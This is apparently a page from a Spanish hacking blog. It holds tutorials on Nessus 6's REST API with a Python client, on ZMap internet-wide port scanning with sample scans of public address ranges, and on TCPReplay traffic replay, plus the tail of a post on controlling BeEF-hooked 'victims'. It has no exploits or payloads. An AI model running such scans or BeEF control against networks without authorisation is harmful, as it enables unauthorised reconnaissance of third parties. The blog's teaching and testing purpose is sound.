Listar los módulos desde la API Rest no tiene mayores beneficios, ya que es lo mismo que se puede hacer desde el navegador web accediendo directamente al panel de administración, sin embargo si que es importante obtener el identificador de cada módulo para poder ejecutarlo contra uno o varios bots de forma programática, dicho identificador se puede obtener de la respuesta a la invocación del servicio anterior.

Existen muchos más endpoints en la API Rest de Beef que se encuentran documentados en el siguiente enlace: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API y que nos permitirá acceder a todos los detalles de configuración del panel de Beef y controlar programáticamente todas las víctimas capturadas, algo que desde luego resulta muy interesante y que veremos en el próximo artículo utilizando Python.

Saludos y Happy Hack!
Adastra.

Categorías
Hacking Hacking Python Networking Programacion Services - Software

La API Rest de Nessus en su versión 6

Hace algunos meses que ha salido la versión 6 de Nessus, el popular escaner de vulnerabilidades diseñado y desarrollado por “Tenable network security” y la verdad es que llevaba tiempo sin trabajar con él, pero la semana pasada me escribió alguien comentando que la librería que desarrollé hace algunos meses (pynessus-rest) para interactuar programáticamente desde cualquier script en Python con Nessus, no le funcionaba correctamente. Pues bien, me puse a ver las trazas que me había enviado y me resultaron de lo más curiosas, ya que ni siquiera había conseguido obtener un token de autorización utilizando su cuenta de usuario. Pensé que a lo mejor se debía a un fallo en su instalación de Nessus o algo similar, así que me descargo e instalo la última versión de Nessus, escribo un script simple en el que solamente me autentico y creo una política y a continuación, cierro sesión para destruir el token creado anteriormente. 5 líneas de código, ni más ni menos. Pues bien, también me falla. Comienzo a revisar qué puede estar pasando y me llevo una “agradable” sorpresa al ver que la API Rest de Nessus 6.0 no es compatible hacia atrás con las demás versiones de Nessus.
Pues muy bien, es estupendo hacer cosas sobre un producto que no solamente no sigue sus propios estándares, sino que además no documenta adecuadamente los cambios que hace tras cada versión. La guía oficial a la fecha de redactar este artículo sigue siendo la correspondiente a la API Rest 5.0 (http://static.tenable.com/documentation/nessus_5.0_XMLRPC_protocol_guide.pdf) y por mucho que he buscado, no he encontrado esa misma guía para la nueva especificación, solamente comentarios en el foro de “Tenable” en el que mucha gente hace básicamente las mismas preguntas, ya que no hay una guía en la que se indique exactamente todos los detalles de los servicios REST de Nessus 6, tales como métodos HTTP soportados, parámetros, cabeceras, path de los servicios, descripción funcional detallada, etc. Lo más parecido a una documentación actualizada se encuentra en la propia interfaz de Nessus en la siguiente ruta: https://<NESSUS_SERVER>:8834/nessus6-api.html#/
Allí se explican todos los servicios que se encuentran actualmente disponibles en la versión 6 y como se puede ver, el path de los servicios en la versión 5.0 ha cambiado drásticamente en la versión 6.0. Así que si tenias algún script para automatizar alguna tarea utilizando la API Rest de Nessus en su versión 5.0, ya te puedes olvidar de que funcione en las nuevas versiones de Nessus. Ahora bien, es perfectamente comprensible que cada nueva versión de un programa incluya mejoras y nuevas características, cosas que hacen que el programa en cuestión evolucione y sea cada vez mejor, pero lo que siempre hay que tener en cuenta es que los usuarios esperan que las cosas que funcionaban en una versión, sigan funcionando correctamente en la siguiente (salvo error u omisión). Lo que se espera es que las interfaces o mecanismos de acceso sigan siendo los mismos, con el objetivo de que una posible migración sea lo más transparente posible. En el caso de la API Rest de Nessus, ninguno de los endpoints que estaban disponibles en la versión 5 de la API se encuentra disponibles en la versión 6, lo que obliga a todos los usuarios que actualicen Nessus a volver a implementar completamente todas rutinas automatizadas que tiren de la API.

Aunque con los nuevos cambios implementados en la versión actual de Nessus, la librería “pynessus-rest” queda deprecada, aun es posible seguir utilizando Python para realizar conexiones contra una instalación de Nessus y obtener información a partir de la API Rest de Nessus 6.
Para hacerlo, se puede utilizar cualquier librería para realizar peticiones HTTP, algo que abunda en Python. Por comodidad y simplicidad se puede utilizar “requests”.

nessus1Autenticación contra Nessus usando requests

Como se puede apreciar, es muy fácil conseguir un token de autenticación valido para interactuar con otros servicios de la API mucho más interesantes y en este caso concreto, lo único que ha cambiado entre la versión 6 y la versión 5 de la API es el endpoint, que ahora es “/session”. Si los cambios de todos los servicios fueran así de simples, no habría mayor problema, pero debido al rediseño que ha tenido el propio core Nessus en la versión actual, muchos de los servicios más utilizados como aquellos que permiten crear/editar políticas, gestionar escaneos y reportes, también han cambiado en la forma y estructura en la que devuelven información, con lo cual, una rutina de parseo del JSON de respuesta que antes funcionaba perfectamente en la versión 5 no va a funcionar para la versión 6. Es un limitante que impide la migración de scripts que esperan un formato y una estructura muy especifica para parsear la información que viene incluida en los JSON de respuestas. No obstante, en el caso de crear scripts desde cero, partiendo de la versión actual y con las reglas definidas en los servicios, realizar peticiones y procesar respuestas no es demasiado complicado y como siempre, se debe partir de un token valido para invocar a servicios que requieren autenticación para ser invocados, algo que ya se ha visto en la imagen anterior. El siguiente script enseña cómo utilizar las principales funciones en “pynessus-rest” adaptándolas un poco a los nuevos servicios disponibles en la versión 6.

[sourcecode language=»python»]
import requests
import json

class NessusClient():
def __init__(self, nessusServer, nessusPort,
validateCert=False,initialSeqNumber=1):
self.nessusServer = nessusServer
self.nessusPort = nessusPort
self.url=’https://’+str(nessusServer)+’:’+str(nessusPort)
self.token = None
self.headers = {}
self.bodyRequest = {}
self.seqNumber = initialSeqNumber
self.validateCert = validateCert
def constructParamsAndHeaders(self,
headers={}, params={}, jsonFormat=True):
if jsonFormat:
self.body = {‘seq’ : self.seqNumber,
‘json’ : ‘1’}
else:
self.body = {‘seq’ : self.seqNumber,
‘json’ : ‘0’}
if self.token is not None:
#No authentication needed.
self.headers={‘Host’: str(self.nessusServer)+’:’+str(self.nessusPort), ‘Content-type’:’application/x-www-form-urlencoded’,
‘X-Cookie’:’token=’+self.token,’seq’:self.seqNumber}
else:
self.headers={‘Host’:str(self.nessusServer)+’:’+str(self.nessusPort),
‘Content-type’:’application/x-www-form-urlencoded’}
self.body.update(params)
self.headers.update(headers)
print self.headers

def requestNessus(self, url, method="POST"):
»’
Perform a request to Nessus server using the data and headers received by parameter.
This function automatically increments the sequence identifier for Nessus requests.
»’
if method == "GET":
response = requests.get(url,
data=self.body, headers=self.headers, verify=self.validateCert)
else:
response = requests.post(url,
data=self.body, headers=self.headers, verify=self.validateCert)
self.seqNumber += 1
try:
return json.loads(response.content)
except ValueError:
return response.content

def call(self, service, params={},
jsonFormat=True, method="GET"): self.constructParamsAndHeaders(params=params,
jsonFormat=jsonFormat)
content =self.requestNessus(self.url+service, method=method)
return content
def login(self, nessusUser, nessusPassword,
jsonFormat=True):
»’
Login with the Nessus server using the user and password specified.
»’
self.constructParamsAndHeaders(params= ‘username’:nessusUser, ‘password’:nessusPassword})
content = self.requestNessus(self.url+"/session", method="POST")
if content.has_key("token"):
self.token = content[‘token’]
return content

client = NessusClient(‘127.0.0.1′,’8834’)
client.login(‘adastra’,’password’)
print str(client.call(‘/policies’))+"\n"
print str(client.call(‘/scans’,
params={‘folder_id’:1, ‘last_modification_date’:1}))+"\n"
[/sourcecode]

El servicio “/scans” es un claro ejemplo de los cambios se han implementado en Nessus en esta última versión, ya que ahora este tipo de elementos se almacenan en contenedores internos de llamados “folders”. Para poder consultar un listado de escaneos es obligatorio especificar el identificador del folder, tal como se ha visto en el script anterior.

nessus2Peticiones y respuestas tras invocar a los servicios “/scans” y “/policies”

La imagen corresponde a lo que pinta por pantalla el script anterior, de tal forma que se pueden ver las cabeceras de las peticiones así como también el cuerpo de las mismas. Las respuestas emitidas por Nessus vienen en formato JSON y contienen información sobre las políticas y escaneos que se han creado.

Si quieres conocer más sobre los servicios que se encuentran disponibles en la nueva versión Nessus, te recomiendo que te fijes en la documentación que viene incluida en https://<NESSUS_SERVER>:8834/nessus6-api.html#/ tendrás que levantar una instancia de Nessus y ver los servicios disponibles junto con sus métodos. Si bien la documentación no está mal, hay ciertos detalles importantes que no se detallan pero si que los encuentras en el foro de Nessus, así que también es un buen recurso para visitar con frecuencia.
La persona que me reporto el posible “fallo” en pynessus-rest también me pregunto que si pensaba actualizar la librería para hacerla compatible con los nuevos esquemas definidos en la versión actual. Francamente no tiene sentido dedicar tiempo y esfuerzos en hacer algo que muy probablemente se va a quedar obsoleto en pocos meses debido a que Tenable no consigue definir unas pautas mínimas de compatibilidad entre las distintas versiones de su software. Dicho esto, si utilizas Nessus 5, pynessus-rest te va a funcionar perfectamente a la hora de automatizar tareas, pero para la versión 6 tendrás que programar un poco más y crear tus propias de rutinas de parseo (y esperar a que no se rompa nada cuando salga una nueva versión de Nessus en unos pocos meses).

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking Networking Services - Software

Escaneos en profundidad con ZMap

Probablemente muchos de los lectores de este blog conocen bastante bien el funcionamiento de Nmap y los principales tipos de escaneos que se pueden llevar a cabo con esta potente herramienta. Se trata de una utilidad muy especial en el arsenal de cualquier hacker o pentester, aunque sin duda lo es más, entender cuándo y en qué momento se debe lanzar un escaneo de un tipo determinado contra un objetivo, es decir, contar con el conocimiento sobre el modelo OSI y cómo se comunican los ordenadores entre si. Si bien Nmap permite cosas que otras herramientas similares no soportan, como por ejemplo sus capacidades de scripting por medio del motor NSE, es interesante conocer otras soluciones y proyectos que van por la misma línea de Nmap. Una de estas herramientas es “Zmap” un escáner de puertos muy interesante, especialmente desde el punto de vista de un investigador de seguridad. Lo que diferencia a este escáner de otros tan conocidos como Hping, Nmap, Queso, entre otros, es que cuenta con varias opciones para lanzar escaneos contra el espacio de direcciones IPv4 completo. Esto se traduce a que con “Zmap” es posible analizar de forma sistemática, todas las direcciones IPv4 que se encuentran disponibles en Internet. Dicho esto, hay que tener en cuenta ciertas limitaciones, especialmente relacionadas con la capacidad de computo del ordenador con el que se lanza la herramienta y la velocidad de la conexión a Internet. Evidentemente en la mayoría de los casos es mucho más interesante realizar escaneos específicos contra un segmento de red en Internet o en una Intranet en lugar de hacerlo contra el rango completo de direcciones IP, para ello Zmap también permite especificar subnets en formato CIDR y controlar la velocidad con la que se envían los paquetes de datos al objetivo del escaneo. Por defecto, la herramienta se encarga de realizar un escaneo del tipo TCP SYN sin realizar el TCP handshake completo contra el objetivo. Además, intenta hacerlo con la tasa de transferencia más rápida posible. Este comportamiento por defecto también se puede personalizar por medio de una serie de interruptores que se encuentran disponibles en la herramienta para cambiar el número de direcciones IP que se deben analizar, el tipo de escaneo, la velocidad de transferencia, listado de puertos, entre otras.

Instalación y uso de Zmap

Se puede instalar directamente sobre un sistema basado en Debian utilizando la herramienta “apt-get” o en sistemas basados en RedHat con la herramienta “yum”, sin embargo, en este tipo de herramientas suele ser más interesante descargar la última versión de su repositorio de fuentes y posteriormente compilar e instalar manualmente. El repositorio del proyecto se encuentra en la siguiente ruta y para instalarlo basta con ejecutar los siguientes comandos.

>git clone https://github.com/zmap/zmap.git

>sudo apt-get install build-essential cmake libgmp3-dev libpcap-dev gengetopt byacc flex libjson-c-dev

>cd zmap
>cmake -DENABLE_DEVELOPMENT=OFF
>make && make install

 

Una vez instalado, se puede comenzar a ejecutar el comando “zmap” y qué mejor forma que hacerlo utilizando el interruptor “–help” para ver las opciones de configuración que se encuentran disponibles en la herramienta.

>zmap –help

Los argumentos básicos para utilizar zmap son “-p”, “-o”, “-b”, “-w” y “-f”. A continuación se explica su uso mediante ejemplos.

>sudo zmap -p 80

>sudo zmap -p 80 192.168.0.0/16

>sudo zmap -p 80 192.168.0.0/16 -B 10M
>sudo zmap -B 10M -p 80 -n 10000 -o results.csv

Loa anteriores son ejemplos básicos sobre el uso de la herramienta, en donde el interruptor “-p” permite especificar el listado de puertos que serán escaneados en el objetivo, “-B” permite establecer un límite máximo en la velocidad de transferencia, “-n” permite establecer un límite máximo en el número total de máquinas que se deben analizar y “-o” permite establecer un fichero en el que se escribirán los resultados arrojados por la herramienta. Finalmente, la herramienta recibe por argumento un listado de subnets que serán analizadas, aunque también es posible omitir dicho argumento y en tal caso, el escaneo se realizará contra el rango completo de direcciones IPv4, algo que como he comentado anteriormente, no es el mejor de los escenarios, no solamente por cuestiones de rendimiento y uso de los recursos del ordenador, sino porque es posible que algún objetivo “se queje” y denuncie de un posible ataque contra sus infraestructuras por realizar un escaneo de puertos sin autorización.

Si se utiliza el interruptor “-o”, por defecto solamente incluye las direcciones IP únicas que han contestado correctamente a un paquete del tipo SYN/ACK, sin embargo se pueden utilizar reglas sobre los campos que se deben incluir en el reporte final utilizando “-f”. Para conocer todos los filtros que se pueden aplicar con este interruptor, se puede ejecutar zmap con “–list-output-fields”

>zmap –list-output-fields

saddr string: source IP address of response

saddr-raw int: network order integer form of source IP address

daddr string: destination IP address of response

daddr-raw int: network order integer form of destination IP address

ipid int: IP identification number of response

ttl int: time-to-live of response packet

sport int: TCP source port

dport int: TCP destination port

seqnum int: TCP sequence number

acknum int: TCP acknowledgement number

window int: TCP window

classification string: packet classification

success int: is response considered success

repeat int: Is response a repeat response from host

cooldown int: Was response received during the cooldown period

timestamp-str string: timestamp of when response arrived in ISO8601 format.

timestamp-ts int: timestamp of when response arrived in seconds since Epoch

timestamp-us int: microsecond part of timestamp (e.g. microseconds since ‘timestamp-ts’)

Para conocer en detalle las combinaciones que se pueden aplicar con estos campos, se recomienda leer la sección correspondiente en la documentación oficial: https://zmap.io/documentation.html#outputfilter

Por otro lado, además del uso básico de Zmap con los interruptores anteriormente explicados, también existen algunos ficheros de configuración que permiten controlar el comportamiento de la herramienta y jugar con diferentes escenarios. Uno de los más importantes es el “blacklist.conf”, el cual permite especificar un listado de direcciones IP en formato CIDR que serán ignoradas del proceso de escaneo. Se recomienda incluir en dicho fichero, direcciones que no son objeto de análisis, tales como direcciones de broadcast/multicast y otras direcciones reservadas. Para especificar un fichero de “blacklist” personalizado se utiliza el interruptor “-b”.

Para establecer ciertas configuraciones personalizadas se puede crear un fichero de configuración que será utilizado por Zmap para establecer algunos valores por defecto cuando se arranca la herramienta, algunos de esos valores incluyen cosas como la interfaz de red por defecto que se utilizará, direcciones IP y MAC de origen de las peticiones, tiempo de espera antes de pasar a la siguiente dirección IP a analizar, entre otras cosas interesantes. Existe un fichero de configuración por defecto que se encuentra ubicado en “/etc/zmap/zmap.conf” o en “<ZMAP_INSTALL>/conf/zmap.conf” dependiendo de si se ha instalado desde el código fuente o utilizando apt-get/yum. Para especificar un fichero de configuración personalizado se utiliza el interruptor “-C”. Un ejemplo del contenido que puede tener un fichero de configuración de Zmap puede ser el siguiente

target-port 443

rate 10000

bandwidth 1M # 1mbps

blacklist-file «/etc/zmap/blacklist.conf»

summary

Como se puede apreciar, son opciones que se encuentran disponibles en la herramienta en la forma de interruptores, pero en este caso, se puede indicar un valor por defecto en el fichero de configuración y omitir el uso del interruptor en cuestión, algo que facilitará mucho las cosas.

>sudo zmap -C /etc/zmap/zmap.conf 62.81.210.0/16

Configuración avanzada en Zmap

En primer lugar, existen una serie de interruptores que permiten controlar los escaneos que se realizan contra las direcciones IP analizadas. Dichas opciones permiten establecer cosas tales como:
-B: La tasa de bits por segundo enviados por la herramienta (utilizando los sufijos K, M y G para especificar diferentes medidas).

-e: Establecer una semilla para la permutación de direcciones IP en el escaneo, algo realmente útil si se desea ejecutar Zmap desde consolas separadas y definiendo diferentes rangos ordenados.
–shards: Particionar el escaneo para ejecutar en diferentes instancias de Zmap, actuando de forma similar al uso de las semillas explicado antes.

–r: Permite establecer la tasa de envío de paquetes por segundo.

-T: Número de hilos concurrentes que utilizará la herramienta para el envío de paquetes. Por defecto, solamente utiliza un único hilo.

Además de estas opciones, también existen otros interruptores que se centran más en la estructura de los paquetes y otros parámetros de red que serán empleados para que Zmap construya los paquetes de datos que se enviarán al objetivo de una forma determinada. Algunos de dichos interruptores se listan a continuación:

-s: Puerto de origen de los paquetes enviados al destino.

-S: Dirección IP de origen de los paquetes enviados al destino.

-i: Nombre de la interfaz de red utilizada para el proceso de escaneo.

Con todas estas opciones, se pueden hacer algunas pruebas del funcionamiento de la herramienta y analizar su comportamiento.

1. Se especifica que Zmap debe intentar enviar 1 Gigabyte de datos cada segundo en el proceso de escaneo

>sudo zmap -B 1G 62.168.1.0/16 -p 443

2. Se especifica que Zmap debe intentar enviar 1 Gigabyte de datos cada segundo en el proceso de escaneo con una taza máxima de 20 paquetes por segundo.

>sudo zmap -B 1G 62.168.1.0/16 -r 20 -p 443

3. Se especifica que Zmap paquetes de datos con una taza máxima de 20 paquetes por segundo.

>sudo zmap -r 20 62.168.1.0/16 -p 443

4. Define el valor 555 como puerto de origen de los paquetes enviados al destino y “192.168.20.112” como dirección IP de origen.

>sudo zmap -s 555 -S 192.168.20.112 62.168.1.0/16 -p 443

5. Ejecuta el escaneo anterior utilizando un nombre de interfaz de red distinto (“eth4”) y 20 hilos concurrentes.

>sudo zmap -s 555 -S 192.168.20.112 62.168.1.0/16 -i eth4 -T 20 -p 443

Una de las características más interesantes que tiene Zmap, es la posibilidad de crear y utilizar módulos preexistentes, los cuales permiten la generación de paquetes de pruebas para enviar y procesar respuestas desde los hosts escaneados. Es un concepto bastante similar al motor NSE que existen en Nmap, sin embargo a la fecha de redactar este artículo, existen solamente 3 módulos para realizar pruebas y evidentemente, no son tan robustos como los que se encuentran incluidos en Nmap para la detección de vulnerabilidades o recolección de información, pero desde luego va por muy buen camino. Para listar los módulos disponibles se utiliza el interruptor “–list-probe-modules”

>sudo zmap –list-probe-modules

tcp_synscan

icmp_echoscan

udp

icmp_echoscan:
Este módulo permite ejecutar peticiones ICMP request contra cada uno de los objetivos del escaneo e incluir entre los resultados, el paquete ICMP reply que ha devuelto cada uno de los objetivos.

>sudo zmap 62.168.1.0/16 -T 20 -M icmp_echoscan -p 443

udp:

Con este módulo, la herramienta se encargará de enviar un datagrama UDP a cada uno de los destinos del escaneo. Las respuestas en este caso por parte de los destinatarios pueden ser, o bien un paquete UDP en el caso de que el host se encuentre activo en el puerto especificado y que funcione sobre UDP o un paquete ICMP del tipo “Unreachable host”. También es posible utilizar el interruptor “–probe-args” para especificar opciones adicionales a los módulos y en el caso concreto del módulo “udp” se pueden utilizar 4 tipos diferentes de payloads que serán enviados junto con los datagramas UDP. Dichos argumentos son: “text”, “hex”, “file” y “template”. Por ejemplo:

>sudo zmap -M udp -p 1434 –probe-args=text:HELO -N 100 -f saddr,data

Zmap es una herramienta muy flexible que merece la pena utilizar con más frecuencia y que desde luego, tiene méritos de sobra para hacer parte de la “caja de herramientas” de un hacker.

Un saludo y Happy Hack!
Adastra.

 

Categorías
Hacking Networking Services - Software

Retransmisión de trafico con TCPReplay

Tcpreplay es una suite de herramientas para el análisis y manipulación de paquetes de datos, muy utilizada principalmente por administradores de sistemas y redes. Las herramientas incluidas en Tcpreplay funcionan principalmente sobre ficheros PCAP que han sido generados previamente por herramientas como tcpdump, wireshark, ethereal, etc. Permiten modificar las cabeceras de los paquetes en varias de sus capas para posteriormente reinyectarlos en la red o también para clasificar y tipificar los paquetes de datos incluidos en los ficheros PCAP. Dicho esto, el principal objetivo de TCPReplay es permitir la modificación de paquetes de datos para probar el funcionamiento de routers, firewalls, IDS/IPS y similares, no obstante es importante tener en cuenta que no funciona adecuadamente contra servidores concretos de cualquier tipo, ya que es un “stateless dispacher”, lo que quiere decir que se encarga de gestionar la posible comunicación que puede existir entre un cliente y un servidor. TCPReplay no soporta flujos de comunicación o el modelo clásico de múltiples peticiones y respuestas, solamente se encarga de replicar los paquetes de datos contenidos en un PCAP. En este articulo os hablaré de esta herramienta, pero seguramente para muchos de vosotros sea más interesante una herramienta que permita hacer labores de fuzzing contra servicios concretos simplemente alterando y reinyectado los paquetes contenidos en un PCAP, para esto también hay varias utilidades y librerías de las que hablaré en el próximo post.
Para empezar, hay que tener en cuenta que hay una versión bastante antigua de la herramienta y que fue inicialmente desarrollada por Aaron Turner (http://tcpreplay.synfin.net/) pero desde hace un tiempo, el equipo de Appneta a tomado el control y ahora todas las mejoras se suben directamente a su repositorio Git. La herramienta se puede instalar directamente desde el código, el cual se encuentra ubicado en el siguiente repositorio: https://github.com/appneta/tcpreplay o en sistemas basados en Debian con APT-GET (instala una versión antigua).

>./configure –prefix=/opt/tcpreplay
>make>sudo make install

>cd bin

>ls -l

total 2916

-rwxr-xr-x 1 adastra adastra 516147 jun 11 00:33 tcpbridge

-rwxr-xr-x 1 adastra adastra 120661 jun 11 00:33 tcpcapinfo

-rwxr-xr-x 1 adastra adastra 404802 jun 11 00:33 tcpliveplay

-rwxr-xr-x 1 adastra adastra 433456 jun 11 00:33 tcpprep

-rwxr-xr-x 1 adastra adastra 444838 jun 11 00:33 tcpreplay

-rwxr-xr-x 1 adastra adastra 553339 jun 11 00:33 tcpreplay-edit

-rwxr-xr-x 1 adastra adastra 496851 jun 11 00:33 tcprewrite

Una vez instalado, se puede ver la versión del programa y las características soportadas.

>./tcpreplay -V

Ahora es el momento de utilizar la herramienta y jugar un poco con los interruptores que soporta. Antes de continuar, es necesario contar con un fichero PCAP que será utilizado por la herramienta para replicar los paquetes de datos que se encuentran almacenados en dicho fichero. Para realizar pruebas simples, se pueden capturar paquetes con TCPDump, Wireshark o Scapy y guardarlos en un PCAP o también es posible descargar alguno de los ficheros de ejemplo que se encuentran subidos en el proyecto. http://tcpreplay.appneta.com/wiki/captures.html

Para efectos prácticos, se utilizarán los ficheros PCAP del proyecto, los cuales se pueden abrir con una herramienta como wireshark

tcpreplay

PCAP de “BigFlows”

Partiendo de este fichero, se puede utilizar la herramienta e indicar la interfaz de red que será utilizada para el envío de los paquetes.

>sudo ./tcpreplay -i eth0 -t /home/adastra/Escritorio/smallFlows.pcap

File Cache is enabled

Actual: 14261 packets (9216531 bytes) sent in 0.087737 seconds.

Rated: 105047254.8 Bps, 840.37 Mbps, 162542.59 pps

Flows: 1209 flows, 13779.81 fps, 14243 flow packets, 18 non-flow

Statistics for network device: eth0

Attempted packets: 14261

Successful packets: 14261

Failed packets: 0

Truncated packets: 0

Retried packets (ENOBUFS): 0

Retried packets (EAGAIN): 0

El ejemplo anterior utiliza el interruptor “-i” para especificar el dispositivo primario de salida, por medio del cual se enviarán los paquetes del fichero PCAP y con “-t” se especifica que los paquetes deben enviarse tan pronto como sea posible.
Existen otras opciones que permiten limitar la velocidad, el número de paquetes máximo a enviar o incluso, especificar otro dispositivo de salida por el que también se replicará el trafico.

>sudo ./tcpreplay -i eth0 -p 100 -L 100 /home/adastra/Escritorio/smallFlows.pcap

Actual: 101 packets (61705 bytes) sent in 1.00 seconds.

Rated: 61653.7 Bps, 0.493 Mbps, 100.91 pps

Flows: 11 flows, 10.99 fps, 101 flow packets, 0 non-flow

Statistics for network device: eth0

Attempted packets: 101

Successful packets: 101

Failed packets: 0

Truncated packets: 0

Retried packets (ENOBUFS): 0

Retried packets (EAGAIN): 0

El interruptor “-p” permite indicar el número de paquetes que se enviarán por segundo y “-L” indica el número total de paquetes que se deben leer y enviar desde el PCAP. Como se puede apreciar, en este caso concreto ambos interruptores tienen el valor “100” por este motivo los paquetes se han enviado en exactamente 1 segundo.

Por otro lado, anteriormente se ha utilizado el interruptor “-t” que indica que los paquetes deben enviarse a su destino lo más rápido posible, sin embargo existe otra opción que permite controlar la velocidad de trasferencia de los paquetes, dicho interruptor es –mbps.

>sudo ./tcpreplay -i eth0 -L 100 –mbps 9500 /home/adastra/Escritorio/smallFlows.pcap

Actual: 101 packets (61705 bytes) sent in 0.000525 seconds.

Rated: 117533333.3 Bps, 9490.26 Mbps, 192380.95 pps

Flows: 11 flows, 20952.38 fps, 101 flow packets, 0 non-flow

Statistics for network device: eth0

Attempted packets: 101

Successful packets: 101

Failed packets: 0

Truncated packets: 0

Retried packets (ENOBUFS): 0

Retried packets (EAGAIN): 0

En este caso, se envían los paquetes a un máximo de 9500 MB por segundo y tal como se puede ver en las estadísticas que arroja “tcprelay”, el promedio ha sido de 9490 MBPS. Evidentemente, entre más bajo sea este valor, más tiempo tardará la herramienta en replicar los paquetes de datos.

Otra característica interesante de TCPReplay es la posibilidad de controlar los flujos de trafico, los cuales son simplemente una secuencia de paquetes que se intercambian entre un emisor y un receptor. Por ejemplo, el clásico TCP Hanshake, es un “traffic flow” que se compone por una serie de paquetes que de forma independiente puede que no tengan mayor sentido, pero cuando se relacionan con otros paquetes tienen significado bien definido. TCPReplay cuenta con varios interruptores para controlar los flujos contenidos en un fichero PCAP. Uno de ellos es “–unique-ip”, el cual se encarga de modificar la dirección IP de destino tras cada repetición de un bucle (con el interruptor –loop). Con “–flow-expiry”, se le indica a la herramienta que debe ignorar aquellos flujos que se consideran “expirados”, es decir, aquellos que tardan más tiempo del especificado en completarse. El valor de este interruptor debe indicarse en segundos y evidentemente, entre más pequeño sea, mayor será el número de paquetes descargados ya que se consideran que hacen parte de un flujo expirado.

 

>sudo ./tcpreplay -i eth0 -t –flow-expiry 30 /home/adastra/Escritorio/bigFlows.pcap

Actual: 791615 packets (355417784 bytes) sent in 8.01 seconds.

Rated: 43556960.3 Bps, 348.45 Mbps, 97013.55 pps

Flows: 58505 flows, 40686 unique, 17819 expired, 7169.87 fps, 791179 flow packets, 436 non-flow

Statistics for network device: eth0

Attempted packets: 791615

Successful packets: 791615

Failed packets: 0

Truncated packets: 0

Retried packets (ENOBUFS): 0

Retried packets (EAGAIN): 0

El fichero “bigFlows.pcap” contiene una buena muestra de datos con paquetes de todo tipo, con lo cual es una buena forma de ver el funcionamiento de estos interruptores. En este caso concreto se puede ver que el número de flujos que tardan 30 o más segundos en completarse son marcados como expirados.

>sudo ./tcpreplay -i eth0 -t –flow-expiry 90 /home/adastra/Escritorio/bigFlows.pcap

Actual: 791615 packets (355417784 bytes) sent in 7.08 seconds.

Rated: 45216137.2 Bps, 361.72 Mbps, 100709.00 pps

Flows: 41818 flows, 40686 unique, 1132 expired, 5320.07 fps, 791179 flow packets, 436 non-flow

Statistics for network device: eth0

Attempted packets: 791615

Successful packets: 791615

Failed packets: 0

Truncated packets: 0

Retried packets (ENOBUFS): 0

Retried packets (EAGAIN): 0

Como se puede ver en las estadísticas generadas por la herramienta, el número de flujos expirados es muchísimo menor, ya que el limite que se ha especificado es de 1 minuto y medio, un valor lo suficientemente alto como para considerar que se trata de una conexión extremadamente lenta o simplemente que el destinatario no era capaz de procesar los paquetes enviados por el emisor debido a que se encontraba ocupado o no disponible.

Existen algunas otras características interesantes en TCPReplay, tales como la posibilidad de integrar Netmap para mejorar las operaciones I/O por medio de buffers RX/TX preasignados y buffers en memoria con accesos asíncronos.

Un saludo y Happy Hack!
Adastra.

Facebook Linkedin Twitter Youtube Whatsapp Telegram Envelope

Nosotros

Servicios

Legal

No te pierdas nada